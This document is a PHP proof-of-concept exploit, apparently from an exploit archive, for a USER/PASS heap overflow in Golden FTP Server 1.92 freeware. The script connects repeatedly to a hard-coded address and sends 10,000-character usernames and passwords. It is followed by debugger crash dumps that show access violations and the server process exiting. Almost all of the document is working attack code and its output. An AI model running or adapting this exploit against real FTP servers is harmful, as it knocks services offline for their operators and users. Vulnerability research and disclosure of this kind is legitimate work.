Golden FTP Server远程拒绝服务

<?php #23.07 03/12/2006 #Golden FTP server 1.92 (freeware edition) USER/PASS heap based overflow poc $host="192.168.1.3"; $port="21"; $junk=""; for ($i=1; $i<=10000; $i++){ $junk.="a"; } echo strlen($junk); for ($i=1; $i<4; $i++) { $sock=@fsockopen($host,$port,$errno, $errstr, 10); if (!$sock){ die("\nnot connected!\n"); } else { fgets($sock,80); fputs($sock,"USER ".$junk."\r\n"); fgets($sock,80); fputs($sock,"PASS ".$junk."\r\n"); fclose($sock); } } ?> /* some faultmon dumps... 23:17:27.343 pid=0220 tid=0B4C EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [61616175]) ---------------------------------------------------------------- EAX=61616175: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ECX=61616161: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDX=00EBFD64: EC 88 A6 00 F4 BF A5 00-F4 87 A6 00 BC FD EB 00 ESP=00EBFD1C: 00 00 00 00 58 FD EB 00-61 24 41 00 74 88 A6 00 EBP=00EBFD20: 58 FD EB 00 61 24 41 00-74 88 A6 00 F4 BF A5 00 ESI=004B9F04: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 EDI=004B9F00: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 EIP=004A9B74: 8B 00 8B 12 E8 5F F6 FD-FF 0F 94 C0 83 E0 01 5B --> MOV EAX,[EAX] ---------------------------------------------------------------- 23:17:27.353 pid=0220 tid=0B4C Thread exited with code 0 23:17:27.353 pid=0220 tid=0B70 Created thread with EIP=7C810659, TIB at 7FFDB0 00 23:17:27.703 pid=0220 tid=0B70 EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [61616175]) ---------------------------------------------------------------- EAX=61616175: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ECX=61616161: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDX=00FBFD64: 50 2B A7 00 F4 BF A5 00-60 2B A7 00 BC FD FB 00 ESP=00FBFD1C: 00 00 00 00 58 FD FB 00-61 24 41 00 E0 2B A7 00 EBP=00FBFD20: 58 FD FB 00 61 24 41 00-E0 2B A7 00 F4 BF A5 00 ESI=004B9F04: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 EDI=004B9F00: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 EIP=004A9B74: 8B 00 8B 12 E8 5F F6 FD-FF 0F 94 C0 83 E0 01 5B --> MOV EAX,[EAX] ---------------------------------------------------------------- 23:17:27.713 pid=0220 tid=0B70 Thread exited with code 0 23:17:27.723 pid=0220 tid=0C80 Created thread with EIP=7C810659, TIB at 7FFDC0 00 23:17:28.164 pid=0220 tid=0C80 EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [61616175]) ---------------------------------------------------------------- EAX=61616175: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ECX=61616161: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDX=00EBFD64: 68 2E A7 00 F4 BF A5 00-78 2E A7 00 BC FD EB 00 ESP=00EBFD1C: 00 00 00 00 58 FD EB 00-61 24 41 00 F8 2E A7 00 EBP=00EBFD20: 58 FD EB 00 61 24 41 00-F8 2E A7 00 F4 BF A5 00 ESI=004B9F04: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 EDI=004B9F00: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 EIP=004A9B74: 8B 00 8B 12 E8 5F F6 FD-FF 0F 94 C0 83 E0 01 5B --> MOV EAX,[EAX] ---------------------------------------------------------------- now server is unusable, and when admin click exit... 23:17:28.184 pid=0220 tid=0C80 Thread exited with code 0 23:17:45.629 pid=0220 tid=0D98 Thread exited with code 0 23:17:45.629 pid=0220 tid=0D90 EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [6161D16D]) ---------------------------------------------------------------- EAX=7FFFFFFF: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EBX=004B9673: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDX=6161D16D: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ESP=0012F760: 96 C7 4A 00 00 00 00 00-EC 96 4B 00 E2 6A 43 00 EBP=0012FC8C: AC FC 12 00 EE D8 48 00-64 D8 48 00 B4 FC 12 00 ESI=004AC79A: 2E 73 68 72 00 00 00 2E-63 66 67 00 00 46 6F 72 EDI=00000020: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EIP=0048E27F: 80 3A 00 75 EE E9 C5 00-00 00 F7 C7 00 01 00 00 --> CMP BYTE PTR [EDX],00 ---------------------------------------------------------------- 23:17:45.629 pid=0220 tid=0D90 EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [61616159]) ---------------------------------------------------------------- EAX=004B9EE8: 00 00 00 00 61 61 61 61-61 61 61 61 61 61 61 61 EBX=004B9EE8: 00 00 00 00 61 61 61 61-61 61 61 61 61 61 61 61 ECX=004B96F4: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 EDX=61616161: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ESP=0012FE9C: B9 9A 4A 00 00 00 00 00-E8 9E 4B 00 E8 9E 4B 00 EBP=0012FEAC: E4 FE 12 00 50 B4 48 00-88 B2 4A 00 20 00 00 00 ESI=00000002: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EIP=00488E58: 8B 4A F8 49 7C 10 F0 FF-4A F8 75 0A 50 8D 42 F8 --> MOV ECX,[EDX-08] ---------------------------------------------------------------- 23:17:45.629 pid=0220 tid=0D90 EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [61616159]) ---------------------------------------------------------------- EAX=004B9EE4: 00 00 00 00 00 00 00 00-61 61 61 61 61 61 61 61 EBX=004B9EE4: 00 00 00 00 00 00 00 00-61 61 61 61 61 61 61 61 ECX=004B96F4: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 EDX=61616161: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ESP=0012FE4C: B9 9A 4A 00 00 00 00 00-E4 9E 4B 00 E4 9E 4B 00 EBP=0012FE5C: 94 FE 12 00 50 B4 48 00-B4 FB 12 00 10 00 00 00 ESI=00000002: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EIP=00488E58: 8B 4A F8 49 7C 10 F0 FF-4A F8 75 0A 50 8D 42 F8 --> MOV ECX,[EDX-08] ---------------------------------------------------------------- 23:17:56.775 pid=0220 tid=0D90 Process exited with code 3 */